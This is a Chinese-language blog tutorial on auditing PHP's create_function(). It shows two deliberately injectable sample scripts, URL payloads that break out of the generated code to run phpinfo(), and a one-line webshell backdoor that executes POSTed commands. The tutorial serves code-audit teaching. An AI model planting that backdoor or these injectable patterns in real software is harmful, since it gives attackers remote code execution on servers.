zoukankan      html  css  js  c++  java
  • PHP代码审计之create_function()函数

    0x00 create_function()简介

    适用范围:PHP 4> = 4.0.1PHP 5PHP 7

    功能:根据传递的参数创建匿名函数,并为其返回唯一名称。

    语法:

    1 create_function(string $args,string $code)
    2 string $args 声明的函数变量部分
    3 
    4 string $code 执行的方法代码部分

    0x01 函数功能分析

    案例:

    <?php
    $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
    echo "New anonymous function: $newfunc
    ";
    echo $newfunc(2, M_E) . "
    ";
    ?>

    保存为create.php

     分析:

    create_function()会创建一个匿名函数(lambda样式)。此处创建了一个叫lambda_1的函数,在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。

    create_function()函数会在内部执行 eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string $code位置。

    因此,上述匿名函数的创建与执行过程等价于:

    <?php
    function lambda_1($a,$b){
        return "ln($a) + ln($b) = " . log($a * $b);
    }
    ?>

    create_function()函数在代码审计中,主要用来查找项目中的代码注入和回调后门的情况,熟悉了执行流程,我们可以熟练的实现对代码注入的payload构造,从而进行漏洞挖掘和找出存在的缺陷。

    0x02 实现代码注入的案例

    案例1:

    <?php
    error_reporting(0);
    $sort_by = $_GET['sort_by'];
    $sorter = 'strnatcasecmp';
    $databases=array('1234','4321');
    $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
    usort($databases, create_function('$a, $b', $sort_function));
    ?>

    payload的构造:

    http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*

    还原实际的组合过程:

    $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

    匿名函数实际的执行:

    function niming($a,$b){
    return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
    }

    回车换行整理一下:

    function niming($a,$b){
    return 1 * ' . $sorter . '($a["' . $sort_by '"]);
    }
    phpinfo();/*
    }

    案例2:

    <?php
    $c=$_GET['c'];
    $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");
    $array=array('reall long string here,boy','this','midding lenth','larget');
    usort($array,$lambda);
    print_r($array);
    ?>

    payload的构造:

    http://localhost/test2.php?c=1));}phpinfo();/*

     还原实际的组合过程:

    $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");

    匿名函数实际的执行:

     function ft($a,$b){
        return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));
     }

    回车换行整理一下:

     function ft($a,$b){
        return (strlen($a)-strlen($b)+" . "strlen(1));
        }
        phpinfo();
        /*));
     }

    0x03 打造后门

    houmen.php

    <?php $func =create_function('',$_POST['cmd']);$func();?>

    create_function()是可以利用当后门的函数,实际上它是通过执行eval实现(此处相当于一句话木马),访问如下:

     0x04 create_function()被高版本 PHP 废弃

    PHP 7.2.0开始,create_function()被废弃

  • 相关阅读:
    UC将发布高性能HTML5游戏引擎XCanvas
    一台晚会3.15拯救不了这些高科技公司
    4G时代更有利于TDD的发展
    【leetcode】Binary Tree Zigzag Level Order Traversal
    四月电商价格战火重燃 服务为决胜之道
    linux sysfs(3)
    ubuntu gedit 中文显示乱码解决方法
    研究人员将Windows Phone 7和Windows Azure推广到平流层的大气污染研究中
    迁移周系列II/II: On Premises 迁移视频
    玩Rock, Paper, Azure Challenge,赢取免费Kinect和Xbox 360!
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/12980483.html
Copyright © 2011-2022 走看看